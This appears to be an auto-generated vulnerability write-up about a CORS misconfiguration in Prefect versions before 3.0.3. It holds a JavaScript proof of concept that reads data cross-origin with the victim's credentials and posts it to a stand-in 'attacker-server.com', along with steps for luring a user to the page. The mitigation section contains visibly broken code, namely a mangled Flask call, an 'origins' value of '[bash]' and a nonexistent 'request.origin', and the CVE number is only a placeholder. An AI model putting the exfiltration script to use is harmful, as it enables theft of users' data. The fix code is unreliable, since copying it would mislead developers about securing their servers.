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How the Mentioned CVE Works:
The CVE-2025-XXXX vulnerability arises due to a misconfiguration in the Cross-Origin Resource Sharing (CORS) policy in Prefect versions prior to 3.0.3. CORS is a security feature that restricts web pages from making requests to a different domain than the one that served the web page. In this case, the misconfiguration allows unauthorized domains to bypass these restrictions and access sensitive data from the Prefect server. Attackers can exploit this by crafting malicious web pages that send cross-origin requests to the vulnerable Prefect server, potentially gaining unauthorized access to databases, leaking sensitive information, and disrupting services. This vulnerability poses significant risks to data confidentiality, integrity, and availability.
DailyCVE Form:
Platform: Prefect
Version: < 3.0.3
Vulnerability: CORS Misconfiguration
Severity: High
Date: Mar 20, 2025
What Undercode Say:
Exploitation:
1. Exploit Code Example (PoC):
<script>
fetch('https://vulnerable-prefect-server.com/api/sensitive-data', {
method: 'GET',
credentials: 'include'
})
.then(response => response.json())
.then(data => {
console.log(data);
// Send data to attacker's server
fetch('https://attacker-server.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
This script demonstrates how an attacker can exploit the CORS misconfiguration to steal sensitive data.
2. Exploit Steps:
- Host the malicious script on a domain not allowed by the CORS policy.
- Trick a user into visiting the malicious page.
- The script sends a cross-origin request to the vulnerable Prefect server.
- Sensitive data is exfiltrated to the attacker’s server.
Protection:
1. Update Prefect:
Upgrade to Prefect version 3.0.3 or later, where the CORS misconfiguration is fixed.
2. CORS Configuration Fix:
Ensure proper CORS headers are set on the server to restrict unauthorized domains:
from flask import Flask
from flask_cors import CORS
app = Flask(<strong>name</strong>)
CORS(app, resources={r"/api/": {"origins": [bash]}})
3. Input Validation:
Validate and sanitize all incoming requests to prevent unauthorized access.
4. Monitoring and Logging:
Implement logging to detect and respond to suspicious cross-origin requests:
import logging
logging.basicConfig(filename='cors_requests.log', level=logging.INFO)
logging.info(f"Request from: {request.origin}")
5. Security Headers:
Use security headers like `Content-Security-Policy` to mitigate risks:
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self';
6. Regular Audits:
Conduct regular security audits to identify and fix misconfigurations.
7. Network Segmentation:
Isolate sensitive services to reduce the attack surface.
8. Educate Developers:
Train developers on secure coding practices and CORS configuration.
By following these steps, organizations can mitigate the risks associated with CVE-2025-XXXX and protect their systems from exploitation.
References:
Reported By: https://github.com/advisories/GHSA-4v9f-r55g-g6hc
Extra Source Hub:
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